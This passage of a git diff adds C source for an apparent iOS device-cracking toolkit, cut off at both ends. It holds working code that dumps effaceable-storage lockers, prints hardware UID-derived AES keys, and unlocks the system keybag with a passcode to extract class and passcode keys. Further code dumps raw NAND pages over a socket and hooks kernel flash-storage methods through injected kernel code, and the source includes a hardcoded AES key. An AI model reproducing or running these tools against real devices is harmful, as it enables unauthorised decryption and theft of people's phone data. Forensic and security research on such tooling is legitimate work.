emf[36]={0}; + uint8_t dkey[40]={0}; + uint8_t lwvm[80]={0}; + uint8_t lockers[960]={0}; + struct BAG1Locker bag1_locker={0}; + + x = AppleEffaceableStorage__getBytes(lockers, 960); + syslog(LOG_ERR, "Pwning AppleEffaceableStorage!!!"); + if(strcmp(locker, "BAG1") == 0) { + AppleEffaceableStorage__getLocker(LOCKER_BAG1, (uint8_t*) &bag1_locker, sizeof(struct BAG1Locker)); + printf("%s\n", hex2str((uint8_t*)&bag1_locker, sizeof(struct BAG1Locker))); + syslog(LOG_ERR, "BAG1: %s\n", hex2str((uint8_t*)&bag1_locker, sizeof(struct BAG1Locker))); + + } else if(strcmp(locker, "LWVM") == 0) { + AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50); + printf("%s\n", hex2str(lwvm, 0x50)); + syslog(LOG_ERR, "LWVM: %s\n", hex2str(lwvm, 0x50)); + + } else if(strcmp(locker, "EMF") == 0) { + AppleEffaceableStorage__getLocker(LOCKER_EMF, emf, 36); + printf("%s\n", hex2str(emf, 36)); + syslog(LOG_ERR, "EMF: %s\n", hex2str(emf, 36)); + + } else if(strcmp(locker, "DKEY") == 0) { + AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40); + printf("%s\n", hex2str(dkey, 40)); + syslog(LOG_ERR, "Dkey: %s\n", hex2str(dkey, 40)); + } else { + fprintf(stderr, "Usage: grab_locker [ EMF | DKEY | BAG1 | LWVM ]\n"); + syslog(LOG_ERR, "Invalid usage"); + return -1; + } + + return 0; +} diff --git a/crack/crack/grab_system.c b/crack/crack/grab_system.c new file mode 100644 index 0000000..71ff1d0 --- /dev/null +++ b/crack/crack/grab_system.c @@ -0,0 +1,121 @@ +// +// main.c +// grab_locker +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include "IOKit.h" +#include "IOAESAccelerator.h" +#include "AppleKeyStore.h" +#include "util.h" +#include "device_info.h" + +void saveKeybagInfos(CFDataRef kbkeys, KeyBag* kb, uint8_t* key835, char* passcode, uint8_t* passcodeKey, CFMutableDictionaryRef classKeys) +{ + CFMutableDictionaryRef out = device_info(-1, NULL); + + CFStringRef uuid = CreateHexaCFString(kb->uuid, 16); + + CFDictionaryAddValue(out, CFSTR("uuid"), uuid); + CFDictionaryAddValue(out, CFSTR("KeyBagKeys"), kbkeys); + + addHexaString(out, CFSTR("salt"), kb->salt, 20); + + if (passcode != NULL) + { + CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); + CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); + CFRelease(cfpasscode); + } + if (passcodeKey != NULL) + addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); + + if (key835 != NULL) + addHexaString(out, CFSTR("key835"), key835, 16); + if (classKeys != NULL) + CFDictionaryAddValue(out, CFSTR("classKeys"), classKeys); + + CFStringRef resultsFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); + + CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@.plist\n"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID"))); + + CFShow(printString); + CFRelease(printString); + + saveResults(resultsFileName, out); + + CFRelease(resultsFileName); + CFRelease(uuid); + CFRelease(out); + +} + +int grab_system(int argc, char* argv[]) { + char* passcode = NULL; + uint8_t* key835 = NULL; + uint8_t* passcodeKey = malloc(32); + + if(argc == 3) { + passcode = argv[2]; + key835 = str2hex(argv[1]); + } else { + fprintf(stderr, "Usage: grab_system $KEY835 $PASSCODE\n"); + return -1; + } + + syslog(LOG_ERR, "Pwning SystemKey!!!"); + + syslog(LOG_ERR, "Asking AppleKeyStore to load the system keybag"); + CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); + if (kbdict == NULL) { + syslog(LOG_ERR, "FAILed to load keybag\n"); + return -1; + } + syslog(LOG_ERR, "Successfully loaded keybag\n"); + + syslog(LOG_ERR, "Getting keys from system keybag"); + CFDataRef kbkeys = CFDictionaryGetValue(kbdict, CFSTR("KeyBagKeys")); + CFRetain(kbkeys); + if (kbkeys == NULL) { + syslog(LOG_ERR, "FAIL: KeyBagKeys not found\n"); + return -1; + } + syslog(LOG_ERR, "Got keys from system keybag\n"); + + syslog(LOG_ERR, "Writing blobs out to a file"); + //write_file("kbblob.bin", CFDataGetBytePtr(kbkeys), CFDataGetLength(kbkeys)); + syslog(LOG_ERR, "Blobs written"); + + syslog(LOG_ERR, "Asking AppleKeyStore to parse our keybag blobs"); + KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); + if (kb == NULL) { + syslog(LOG_ERR, "FAIL: AppleKeyStore_parseBinaryKeyBag\n"); + return -1; + } + + syslog(LOG_ERR, "Unlocking keybag with passcode %s", passcode); + AppleKeyStore_unlockKeybagFromUserland(kb, passcode, 4, key835); + AppleKeyStore_printKeyBag(kb); + + syslog(LOG_ERR, "Retreiving class keys from AppleKeyStore"); + CFMutableDictionaryRef classKeys = AppleKeyStore_getClassKeys(kb); + + syslog(LOG_ERR, "Getting system passcode key"); + AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); + + printf("%s\n", hex2str(passcodeKey, 32)); + syslog(LOG_ERR, "Passcode key : %s\n", hex2str(passcodeKey, 32)); + + //save all we have for now + syslog(LOG_ERR, "Saving information"); + saveKeybagInfos(kbkeys, kb, key835, passcode, passcodeKey, classKeys); + CFRelease(classKeys); + + return 0; +} + diff --git a/crack/crack/ioaes.c b/crack/crack/ioaes.c new file mode 100644 index 0000000..5a65a27 --- /dev/null +++ b/crack/crack/ioaes.c @@ -0,0 +1,47 @@ +// +// main.c +// ioaes +// +// Created by Joshua Hill on 1/7/14. +// Copyright (c) 2014 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include + +#include "util.h" +#include "IOKit.h" +#include "IOAESAccelerator.h" + +int ioaes(int argc, char* argv[]) { + uint32_t key = 0; + if(argc == 2) { + key = strtoul(argv[1], NULL, 0); + } else { + fprintf(stderr, "Usage: ioaes [ 0x835 | 0x89A | 0x89B ]\n"); + return -1; + } + + syslog(LOG_ERR, "Pwning UID Keys!!!"); + if(key == 0x835) { + printf("%s\n", hex2str(IOAES_key835(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key835(), 16)); + + } else if(key == 0x89A) { + printf("%s\n", hex2str(IOAES_key89A(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key89A(), 16)); + + } else if(key == 0x89B) { + printf("%s\n", hex2str(IOAES_key89B(), 16)); + syslog(LOG_ERR, "KEY 0x835: %s", hex2str(IOAES_key89B(), 16)); + + } else { + fprintf(stderr, "Usage: ioaes [ 0x835 | 0x89A | 0x89B ]\n"); + syslog(LOG_ERR, "Invalid usage"); + return -1; + } + + return 0; +} + diff --git a/crack/crack/ioaes.h b/crack/crack/ioaes.h new file mode 100644 index 0000000..b3196db --- /dev/null +++ b/crack/crack/ioaes.h @@ -0,0 +1,15 @@ +// +// aes.h +// chop +// +// Created by Joshua Hill on 1/19/14. +// +// + +#ifndef chop_aes_h +#define chop_aes_h + +int ioaes_decrypt(); +int ioaes_encrypt(); + +#endif diff --git a/crack/crack/ioflash/ioflash.c b/crack/crack/ioflash/ioflash.c new file mode 100644 index 0000000..b88a121 --- /dev/null +++ b/crack/crack/ioflash/ioflash.c @@ -0,0 +1,556 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "ioflash.h" + +/** +used to decrypt special pages when checking if the physical banks parameter is correct +when reading/dumping pages are not decrypted +**/ +uint8_t META_KEY[16] = {0x92, 0xa7, 0x42, 0xab, 0x08, 0xc9, 0x69, 0xbf, 0x00, 0x6c, 0x94, 0x12, 0xd3, 0xcc, 0x79, 0xa5}; +//uint8_t FILESYSTEM_KEY[16] = {0xf6, 0x5d, 0xae, 0x95, 0x0e, 0x90, 0x6c, 0x42, 0xb2, 0x54, 0xcc, 0x58, 0xfc, 0x78, 0xee, 0xce}; + + +uint32_t gDeviceReadID = 0; +uint32_t gCECount = 0; +uint32_t gBlocksPerCE = 0; +uint32_t gPagesPerBlock = 0; +uint32_t gBytesPerPage = 0; +uint32_t gBytesPerSpare = 0; +uint32_t gBootloaderBytes = 0; +uint32_t gIsBootFromNand = 0; +uint32_t gPagesPerCE = 0; +uint32_t gTotalBlocks = 0; +uint32_t metaPerLogicalPage = 0; +uint32_t validmetaPerLogicalPage = 0; +uint32_t banksPerCE = 0; +uint32_t use_4k_aes_chain = 0; +uint32_t gFSStartBlock= 0; +uint32_t gDumpPageSize = 0; +uint32_t gPPNdevice = 0; +uint32_t banksPerCEphysical = 1; +uint32_t bank_address_space = 0; +uint32_t blocks_per_bank = 0; + +//from ioflashstoragetool +io_service_t fsdService = 0; +io_connect_t fsdConnection = 0; + + +CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value) +{ + CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, key, value); + return dict; +} + +io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching) +{ + io_service_t service = 0; + /* while(!service) { + */CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + //if(service) break; + /*sleep(1); + //CFRelease(matching); + } + CFRelease(matching);*/ + return service; +} + + +int FSDConnect(const char* name) +{ + CFMutableDictionaryRef matching; + + matching = IOServiceMatching(name); + + fsdService = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + + IOServiceOpen(fsdService, mach_task_self(), 0, &fsdConnection); + + return fsdConnection != 0; +} + +int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict) +{ + CFTypeRef data = IORegistryEntryCreateCFProperty(obj, name, kCFAllocatorDefault, 0); + + if (!data) + { + return 0; + } + if (dict != NULL) + { + CFDictionaryAddValue(dict, name, data); + } + if (out == NULL) + return 0; + if(CFGetTypeID(data) == CFNumberGetTypeID()) + { + CFNumberGetValue((CFNumberRef)data, kCFNumberIntType, out); + return 1; + } + else if(CFGetTypeID(data) == CFDataGetTypeID()) + { + CFIndex dataLen = CFDataGetLength(data); + CFDataGetBytes(data, CFRangeMake(0,dataLen < outLen ? dataLen : outLen), out); + return 1; + } + return 0; +} +IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out) +{ + size_t outLen = sizeof(struct kIOFlashControllerOut); + + IOConnectCallStructMethod(fsdConnection, + kIOFlashControllerReadPage, + in, + sizeof(struct kIOFlashControllerReadPageIn), + out, + &outLen); + // fprintf(stderr, "%x %x %x %x %x\n", in->page, in->ce, r, out->ret1, out->ret2); + + return out->ret1; +} + +IOReturn FSDReadPageWithOptions(uint32_t ceNum, + uint32_t pageNum, + void* buffer, + void* spareBuffer, + uint32_t spareSize, + uint32_t options, + struct kIOFlashControllerOut* out + ) +{ + struct kIOFlashControllerReadPageIn in; + + in.page = pageNum; + in.ce = ceNum; + in.options = options; + in.buffer = buffer; + in.bufferSize = gBytesPerPage; + in.spare = spareBuffer; + in.spareSize = spareSize; + return FSDReadPageHelper(&in, out); +} + +IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out) +{ + return FSDReadPageWithOptions(ceNum, pageNum, buffer, NULL, 0, kIOFlashStorageOptionBootPageIO, out); +} + +void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict) +{ + const void* keys[2] = {CFSTR("Block Count"), CFSTR("Block Offset")}; + const void* values[2] = {NULL, NULL}; + + CFMutableDictionaryRef match = MakeOneStringProp(CFSTR("IOProviderClass"), CFSTR("IOFlashStoragePartition")); + CFMutableDictionaryRef iopmatch = MakeOneStringProp(CFSTR("Content Hint"), contentHint); + CFDictionarySetValue(match, CFSTR("IOPropertyMatch"), iopmatch); + + CFRelease(iopmatch); + + io_service_t service = _wait_for_io_service_matching_dict(match); + if (service) + { + CFNumberRef blockCount = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Count"), kCFAllocatorDefault, 0); + CFNumberRef blockOffset = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Offset"), kCFAllocatorDefault, 0); + if (dict != NULL) + { + values[0] = (void*) blockCount; + values[1] = (void*) blockOffset; + CFDictionaryRef d = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 2, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + if (d != NULL) + CFDictionaryAddValue(dict, contentHint, d); + } + if( CFStringCompare(contentHint, CFSTR("Filesystem"), 0) == kCFCompareEqualTo) + { + CFNumberGetValue(blockOffset, kCFNumberIntType, &gFSStartBlock); + } + } + CFRelease(match); +} + + + +//openiBoot/util.c +uint32_t next_power_of_two(uint32_t n) { + uint32_t val = 1 << (31 - __builtin_clz(n)); + + if (n % val) + val *= 2; + + return val; +} + +void generate_IV(unsigned long lbn, unsigned long *iv) +{ + int i; + for(i = 0; i < 4; i++) + { + if(lbn & 1) + lbn = 0x80000061 ^ (lbn >> 1); + else + lbn = lbn >> 1; + iv[i] = lbn; + } +} + +void decrypt_page(uint8_t* data, uint32_t dataLength, uint8_t* key, uint32_t keyLength, uint32_t pn) +{ + char iv[16]; + size_t dataOutMoved=dataLength; + generate_IV(pn, (unsigned long*) iv); + + CCCryptorStatus s = CCCrypt(kCCDecrypt, + kCCAlgorithmAES128, + 0, + (const void*) key, + keyLength, + (const void*) iv, + (const void*) data, + dataLength, + (const void*) data, + dataLength, + &dataOutMoved); + if (s != kCCSuccess) + { + fprintf(stderr, "decrypt_page: CCCrypt error %x\n", s); + } +} + +void set_physical_banks(int n) +{ + banksPerCEphysical = n; + blocks_per_bank = gBlocksPerCE / banksPerCEphysical; + + if((gBlocksPerCE & (gBlocksPerCE-1)) == 0) + { + // Already a power of two. + bank_address_space = blocks_per_bank; + //total_block_space = gBlocksPerCE; + } + else + { + // Calculate the bank address space. + bank_address_space = next_power_of_two(blocks_per_bank); + //total_block_space = ((banksPerCEphysical-1)*bank_address_space) + blocks_per_bank; + } +} + +//"bruteforce" the number of physical banks +//except for PPN devices, DEVICEINFOBBT special pages should always be somewhere at the end +void check_special_pages() +{ + if(gPPNdevice) + { + fprintf(stderr, "PPN device, i don't know how to guess the number of physical banks, assuming 1\n"); + set_physical_banks(1); + return; + } + + uint32_t i,x=1; + uint32_t ok = 0; + uint32_t bank, block, page; + uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize); + + printf("Searching for correct banksPerCEphysical value ...\n"); + + while(!ok && x < 10) + { + set_physical_banks(x); + bank = banksPerCEphysical - 1; + + for(block = blocks_per_bank-1; !ok && block > blocks_per_bank-10 ; block--) + { + page = (bank_address_space * bank + block) * gPagesPerBlock; + + struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]); + + for(i=0; i < gPagesPerBlock; i++) + { + if(FSDReadPageWithOptions(0, page + i, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out)) + continue; + + if(pageBuffer[gBytesPerPage] != 0xA5) + continue; + if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13)) + { + printf("Found cleartext DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical); + ok = 1; + break; + } + decrypt_page(pageBuffer, gBytesPerPage, META_KEY, kCCKeySizeAES128, page + i); + if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13)) + { + printf("Found encrypted DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical); + ok = 1; + break; + } + } + } + x++; + } + if(!ok) + { + fprintf(stderr, "Couldnt guess the number of physical banks, exiting\n"); + exit(0); + } + free(pageBuffer); + return; +} + + +//XXX dont read the NAND from this function as it can be called from multiple processes +CFMutableDictionaryRef FSDGetInfo(int printInfo) +{ + io_iterator_t iterator = 0; + io_object_t obj = 0; + + FSDConnect("IOFlashController"); + + if(IORegistryEntryCreateIterator(fsdService, "IOService",0, &iterator)) + return NULL; + + obj = IOIteratorNext(iterator); + if (!obj) + return NULL; + + CFMutableDictionaryRef dict = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + + FSDGetPropertyForKey(obj, CFSTR("device-readid"), &gDeviceReadID, sizeof(gDeviceReadID), dict); + FSDGetPropertyForKey(obj, CFSTR("#ce"), &gCECount, sizeof(gCECount), dict); + FSDGetPropertyForKey(obj, CFSTR("#ce-blocks"), &gBlocksPerCE, sizeof(gBlocksPerCE), dict); + FSDGetPropertyForKey(obj, CFSTR("#block-pages"), &gPagesPerBlock, sizeof(gPagesPerBlock), dict); + FSDGetPropertyForKey(obj, CFSTR("#page-bytes"), &gBytesPerPage, sizeof(gBytesPerPage), dict); + FSDGetPropertyForKey(obj, CFSTR("#spare-bytes"), &gBytesPerSpare, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("#bootloader-bytes"), &gBootloaderBytes, sizeof(gBootloaderBytes), dict); + + FSDGetPropertyForKey(obj, CFSTR("metadata-whitening"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("name"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("is-bfn-partitioned"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("bbt-format"), NULL, 0, dict); + //FSDGetPropertyForKey(obj, CFSTR("channels"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("vendor-type"), NULL, 0, dict); + FSDGetPropertyForKey(obj, CFSTR("ppn-device"), &gPPNdevice, sizeof(gPPNdevice), dict); + + + FSDGetPropertyForKey(obj, CFSTR("valid-meta-per-logical-page"), &validmetaPerLogicalPage, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("meta-per-logical-page"), &metaPerLogicalPage, sizeof(gBytesPerSpare), dict); + if (metaPerLogicalPage == 0) + { + metaPerLogicalPage = 12;//default value? + } + + //XXX: returns (possibly wrong) default value (1) when nand-disable-driver is set, use vendor-type + info from openiboot to get correct value : bank-per-ce VFL (!=physical banks) + FSDGetPropertyForKey(obj, CFSTR("banks-per-ce"), &banksPerCE, sizeof(gBytesPerSpare), dict); + FSDGetPropertyForKey(obj, CFSTR("use-4k-aes-chain"), &use_4k_aes_chain, sizeof(gBytesPerSpare), dict); + + gPagesPerCE = gBlocksPerCE * gPagesPerBlock; + gTotalBlocks = gCECount * gBlocksPerCE; + + FSDGetPropertyForKey(obj, CFSTR("boot-from-nand"), &gIsBootFromNand, sizeof(gIsBootFromNand), dict); + + CFMutableDictionaryRef dictPartitions = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + findPartitionLocation(CFSTR("Boot Block"), dictPartitions); + findPartitionLocation(CFSTR("Effaceable"), dictPartitions); + findPartitionLocation(CFSTR("NVRAM"), dictPartitions); + findPartitionLocation(CFSTR("Firmware"), dictPartitions); + findPartitionLocation(CFSTR("Filesystem"), dictPartitions); + /*findPartitionLocation(CFSTR("Diagnostic Data")); + findPartitionLocation(CFSTR("System Config")); + findPartitionLocation(CFSTR("Bad Block Table"));*/ + //findPartitionLocation(CFSTR("Unpartitioned"));//never matches + + CFDictionaryAddValue(dict, CFSTR("partitions"), dictPartitions); + IOObjectRelease(obj); + IOObjectRelease(iterator); + + gDumpPageSize = gBytesPerPage + metaPerLogicalPage + sizeof(struct kIOFlashControllerOut); + CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &gDumpPageSize); + CFDictionarySetValue(dict, CFSTR("dumpedPageSize"), n); + CFRelease(n); + + if (printInfo) + { + uint64_t total_size = ((uint64_t)gBytesPerPage) * ((uint64_t) (gPagesPerBlock * gBlocksPerCE * gCECount)); + total_size /= 1024*1024*1024; + fprintf(stderr, "NAND configuration: %uGiB (%d CEs of %d blocks of %d pages of %d bytes data, %d bytes spare\n", + (uint32_t) total_size, + gCECount, + gBlocksPerCE, + gPagesPerBlock, + gBytesPerPage, + gBytesPerSpare); + } + + set_physical_banks(1); + return dict; +} + +CFDictionaryRef nand_dump(int fd) +{ + uint64_t totalSize = (uint64_t)gPagesPerBlock * (uint64_t)gBlocksPerCE * (uint64_t)gCECount * (uint64_t)gDumpPageSize; + write(fd, &totalSize, sizeof(uint64_t)); + + dump_nand_to_socket(fd); + return NULL; +} + +int dump_nand_to_socket(int fd) +{ + int ceNum=0,pageNum,bankNum; + IOReturn r; + uint64_t totalPages = gPagesPerBlock * gBlocksPerCE * gCECount; + uint64_t validPages = 0; + uint64_t blankPages = 0; + uint64_t errorPages = 0; + uint64_t otherPages = 0; + uint64_t counter = 0; + + //page data + spare metadata + kernel return values + uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize); + + if (pageBuffer == NULL) + { + fprintf(stderr, "valloc(%d) FAIL", gDumpPageSize); + return 0; + } + struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]); + + time_t start = time(NULL); + + for(bankNum=0; bankNum < banksPerCEphysical; bankNum++) + { + uint32_t start_page = bank_address_space * bankNum * gPagesPerBlock; + uint32_t end_page = start_page + gPagesPerBlock * blocks_per_bank; + for(pageNum=start_page; pageNum < end_page; pageNum++) + { + for(ceNum=0; ceNum < gCECount; ceNum++) + { + uint32_t blockNum = pageNum / gPagesPerBlock; + uint32_t boot = (blockNum < gFSStartBlock); + + if(boot) + r = FSDReadBootPage(ceNum, pageNum, pageBuffer, out); + else + r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out); + //r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer,NULL, 0, 0x100, out); + + if(r == 0) + { + validPages++; + } + else + { + if (r == kIOReturnBadMedia) + { + fprintf(stderr, "CE %x page %x : uncorrectable ECC error\n", ceNum, pageNum); + errorPages++; + } + else if (r == kIOReturnUnformattedMedia) + { + memset(pageBuffer, 0xFF, gBytesPerPage + metaPerLogicalPage); + blankPages++; + } + else if (r == 0xdeadbeef) + { + fprintf(stderr, "0xdeadbeef return code, something is wrong with injected kernel code\n"); + exit(0); + } + else if (r == kIOReturnBadArgument || r == kIOReturnNotPrivileged) + { + fprintf(stderr, "Error 0x%x (kIOReturnBadArgument/kIOReturnNotPrivileged)\n", r); + exit(0); + } + else + { + fprintf(stderr, "CE %x page %x : unknown return code 0x%x\n", ceNum, pageNum, r); + otherPages++; + } + } + out->ret2 = 0; + + if(write(fd, pageBuffer, gDumpPageSize) != gDumpPageSize) + { + pageNum = gPagesPerBlock * gBlocksPerCE; + fprintf(stderr, "Abort dump\n"); + break; + } + if (ceNum == 0 && pageNum % gPagesPerBlock == 0) + { + fprintf(stderr, "Block %llu/%d (%llu%%)\n", (counter/gPagesPerBlock), gBlocksPerCE, (counter*100)/(gPagesPerBlock*gBlocksPerCE)); + } + } + counter++; + } + } + if (ceNum == gCECount && pageNum == (gPagesPerBlock * gBlocksPerCE)) + { + time_t duration = time(NULL) - start; + fprintf(stderr, "Finished NAND dump in %lu hours %lu minutes %lu seconds\n", duration / 3600, (duration % 3600) / 60, (duration % 3600) % 60); + fprintf(stderr, "Total pages %llu\n", totalPages); + fprintf(stderr, "In-use pages %llu (%d%%)\n", validPages, (int) (validPages * 100 / totalPages)); + fprintf(stderr, "Blank pages %llu (%d%%)\n", blankPages, (int) (blankPages * 100 / totalPages)); + fprintf(stderr, "Error pages %llu (%d%%)\n", errorPages, (int) (errorPages * 100 / totalPages)); + fprintf(stderr, "Other pages %llu (%d%%)\n", otherPages, (int) (otherPages * 100 / totalPages)); + } + free(pageBuffer); + return 0; +} + +int nand_proxy(int fd) +{ + struct kIOFlashControllerOut out; + proxy_read_cmd cmd; + + uint8_t* pageBuffer = (uint8_t*) valloc(gBytesPerPage); + if( pageBuffer == NULL) + { + fprintf(stderr, "pageBuffer = valloc(%d) failed\n", gBytesPerPage); + return 0; + } + + while(1) + { + int z = read(fd, &cmd, sizeof(proxy_read_cmd)); + if (z != sizeof(proxy_read_cmd)) + break; + + void* spareBuf = NULL; + + uint32_t blockNum = cmd.page / gPagesPerBlock; + uint32_t boot = (blockNum < gFSStartBlock); + if(boot) + { + cmd.spareSize = 0; + cmd.options |= kIOFlashStorageOptionBootPageIO; + } + else if (cmd.spareSize) + { + spareBuf = valloc(cmd.spareSize); + } + FSDReadPageWithOptions(cmd.ce, cmd.page, pageBuffer, spareBuf, cmd.spareSize, cmd.options, &out); + + write(fd, pageBuffer, gBytesPerPage); + if (spareBuf != NULL) + { + write(fd, spareBuf, cmd.spareSize); + } + write(fd, &out, sizeof(struct kIOFlashControllerOut)); + + if (spareBuf != NULL) + { + free(spareBuf); + } + } + free(pageBuffer); + return 0; +} diff --git a/crack/crack/ioflash/ioflash.h b/crack/crack/ioflash/ioflash.h new file mode 100644 index 0000000..c826bed --- /dev/null +++ b/crack/crack/ioflash/ioflash.h @@ -0,0 +1,118 @@ +#include + +#define kIOFlashStorageOptionBootPageIO 0x100 +#define kIOFlashStorageOptionRawPageIO 0x002 +#define kIOFlashStorageOptionXXXX 0x004 +//0xC0 == kIOFlashStorageOptionUseAES | kIOFlashStorageOptionHomogenize + +#define kIOFlashControllerReadPage 0x1 +#define kIOFlashControllerWritePage 0x2 +#define kIOFlashControllerDisableKeepout 0xa + + +struct kIOFlashControllerReadPageIn; +struct kIOFlashControllerOut; + +//from ioflashstoragetool +CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value); +io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching); +int FSDConnect(const char* name); +int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict); +void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict);//findNvramLocation +IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out); +IOReturn FSDReadPageWithOptions(uint32_t ceNum, uint32_t pageNum, void* buffer, void* spareBuffer, uint32_t spareSize, uint32_t options, struct kIOFlashControllerOut* out); +IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out); + +CFMutableDictionaryRef FSDGetInfo(int); +int IOFlashStorage_kernel_patch(); + +CFDictionaryRef nand_dump(int fd); +int dump_nand_to_socket(int fd); +int nand_proxy(int fd); + +struct kIOFlashControllerReadPageIn +{ + uint32_t page; + uint32_t ce; + uint32_t options; + void* buffer; + uint32_t bufferSize; + void* spare; + uint32_t spareSize; +};//sizeof = 0x1C + +//sizeof=0x8 +struct kIOFlashControllerOut +{ + uint32_t ret1; + uint32_t ret2; +}; + +//sizeof=0x50 AppleIOPFMIDMACommand? +struct IOFlashCommandStruct +{ + uint32_t flags0; + uint32_t flags1; + uint32_t field8; + uint32_t fieldC; + uint32_t* page_ptr; + void* bufferDesc;//IOMemoryDescriptor* + uint32_t field18; + uint32_t field1C; + uint32_t field20; + uint32_t* ce_ptr; + void* spareVA; + uint32_t spareSize; + uint32_t field30; + uint32_t field34; + uint32_t field38; + uint32_t errorCode; + uint32_t field40; + uint32_t field44; + uint32_t field48; + uint32_t field4C; +}; + +typedef struct IOExternalMethodArguments +{ + uint32_t version; + + uint32_t selector; + + mach_port_t asyncWakePort; + io_user_reference_t * asyncReference; + uint32_t asyncReferenceCount; + + const uint64_t * scalarInput; + uint32_t scalarInputCount; + + const void * structureInput; + uint32_t structureInputSize; + + //IOMemoryDescriptor * structureInputDescriptor; + void * structureInputDescriptor; + + uint64_t * scalarOutput; + uint32_t scalarOutputCount; + + void * structureOutput; + uint32_t structureOutputSize; + + void * structureOutputDescriptor; + uint32_t structureOutputDescriptorSize; + + uint32_t __reservedA; + + //OSObject ** structureVariableOutputData; + void ** structureVariableOutputData; + + uint32_t __reserved[30]; +} IOExternalMethodArguments; + +typedef struct proxy_read_cmd +{ + uint32_t ce; + uint32_t page; + uint32_t spareSize; + uint32_t options; +} proxy_read_cmd; diff --git a/crack/crack/ioflash/ioflash_kernel.c b/crack/crack/ioflash/ioflash_kernel.c new file mode 100644 index 0000000..06596a0 --- /dev/null +++ b/crack/crack/ioflash/ioflash_kernel.c @@ -0,0 +1,220 @@ +#include +#include +#include +#include +#include +#include +#include +#include "ioflash.h" + +CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionKey; +CF_EXPORT CFDictionaryRef _CFCopySystemVersionDictionary(void); + +mach_port_t kernel_task=0; + +void* externalMethod_original = NULL; +void** externalMethod_ptr = NULL; + + +void* (*IOMemoryDescriptor__withAddress)(void*, uint32_t, uint32_t, uint32_t) = 0x0; + +typedef int (*methodptr)(void*, ...); + +#define CALL_VTABLE(this, vtableoff, ...) \ + ((methodptr) (*(uint32_t**)this)[vtableoff/4]) (this, ##__VA_ARGS__) + +//IOReturn externalMethod( uint32_t selector, IOExternalMethodArguments * arguments,IOExternalMethodDispatch * dispatch = 0, OSObject * target = 0, void * reference = 0 ); +int myIOFlashStorage_externalMethod(uint32_t* this, uint32_t selector, IOExternalMethodArguments* arguments) +{ + if (selector == 